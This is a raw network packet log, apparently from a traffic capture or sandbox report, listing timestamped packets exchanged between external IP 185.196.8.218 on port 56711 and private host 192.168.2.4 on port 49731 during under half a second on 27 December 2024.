Dec 27, 2024 09:09:14.302937031 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.303059101 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.303112030 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.303644896 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.303762913 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.303819895 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.304471016 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.304558039 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.304666042 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.305226088 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.305322886 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.305377007 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.305989027 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.306118011 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.306166887 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.306771040 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.306910992 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.306962013 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.307554007 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.307689905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.307728052 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.308346987 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.308470964 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.308521032 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.309149981 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.309231997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.309277058 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.309890985 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.310033083 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.310081005 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.310679913 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.310820103 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.310863018 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.311484098 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.311592102 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.311810970 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.312244892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.312355995 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.312403917 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.313061953 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.313189983 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.313234091 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.313851118 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.313946009 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.313997030 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.314611912 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.314714909 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.314780951 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.315423012 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.315521955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.315582037 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.316171885 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.316334009 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.316386938 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.316966057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.317074060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.317118883 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.317745924 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.317805052 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.317936897 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.318512917 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.318644047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.318686008 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.319297075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.319427967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.319478035 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.320085049 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.320187092 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.320235968 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.320868969 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.346462965 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.346554041 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.346616030 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.346882105 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.346941948 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.346952915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.347672939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.347728014 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.347759008 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.348412037 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.348459959 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.348539114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.349191904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.349231005 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.349297047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.350018024 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.350053072 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.350073099 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.350888968 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.350960016 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.351006985 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.351547003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.351598024 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.351661921 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.352375984 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.352441072 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.352479935 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.353142977 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.353236914 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.353287935 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.353921890 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.353970051 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.354031086 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.354743004 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.354844093 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.354912996 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.355532885 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.355679989 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.355726004 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.356267929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.356314898 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.356380939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.357038021 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.357167959 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.357212067 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.357834101 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.357882977 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.357943058 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.358616114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.358711004 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.358767986 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.359414101 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.359522104 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.359576941 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.360207081 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.360254049 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.360297918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.360979080 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.361069918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.361110926 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.361763000 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.361803055 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.361888885 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.362607956 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.362704992 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.362751007 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.363390923 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.363478899 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.363519907 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.364114046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.364151001 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.364227057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.364916086 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.365025997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.365067005 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.365690947 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.365736961 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.365808010 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.366455078 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.366504908 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.366554976 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.501926899 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.502077103 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.502180099 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.502214909 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.502351999 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.503103018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.503120899 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.503154039 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.503180981 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.503797054 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.504024982 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.504064083 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.504074097 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.504849911 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.504954100 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.505000114 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.505606890 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.505655050 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.505705118 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.506443977 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.506490946 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.506550074 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.507211924 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.507262945 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.507337093 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.507986069 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.508109093 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.508155107 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.508769989 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.508833885 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.508872986 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.509568930 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.509704113 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.509751081 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.510349035 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.510396957 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.510453939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.511091948 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.511192083 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.511238098 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.511946917 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.511991978 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.512032032 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.512655020 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.512743950 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.512795925 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.513448954 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.513572931 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.513617992 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.514242887 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.514291048 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.514331102 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.515094995 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.515176058 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.515218973 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.515820980 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.515866995 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.515943050 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.516592026 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.516635895 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.516673088 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.517396927 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.517447948 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.517502069 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.518151045 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.518245935 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.518287897 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.518939018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.518985033 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.519047022 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.519742012 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.519975901 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.520019054 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.520523071 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.520570040 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.520607948 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.521307945 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.521358013 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.521680117 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.522041082 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.522082090 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.548013926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.548034906 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.548110962 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.548285961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.548352957 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.549010038 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.549052954 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.549120903 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.549165964 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.549793959 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.549972057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.550595999 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.550632954 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.550710917 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.550750017 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.551367044 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.551552057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.552140951 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.552190065 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.552211046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.552927971 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.552969933 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.553035021 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.553076982 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.553740025 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.553837061 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.554503918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.554562092 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.554600000 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.554642916 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.555304050 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.555459023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.556056023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.556101084 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.556179047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.556936026 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.556976080 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.557010889 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.557048082 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.557770967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.557784081 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.557826996 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.558438063 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.558598042 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.559371948 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.559412003 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.560525894 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.562596083 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.562607050 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.562628984 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.562639952 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.562647104 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.562652111 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.562664986 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.562685013 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.562706947 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.562937975 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.563118935 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.563160896 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.563848972 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.563971996 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.564022064 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.564512968 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.564663887 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.565373898 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.565412045 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.565516949 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.565558910 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.566195965 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.566366911 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.567074060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.567085981 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.567117929 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.567138910 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.567742109 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.567915916 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.568607092 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.568617105 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.568661928 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.703368902 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.703392982 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.703449965 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.703528881 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.703680038 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.703727961 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.704448938 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.704591036 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.704643965 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.705178022 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.705363035 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.705377102 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.705413103 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.706274033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.706288099 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.706319094 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.706947088 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.707009077 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.707104921 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.708333015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.708348036 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.708389044 CET	49731	56711	192.168.2.4	185.196.8.218
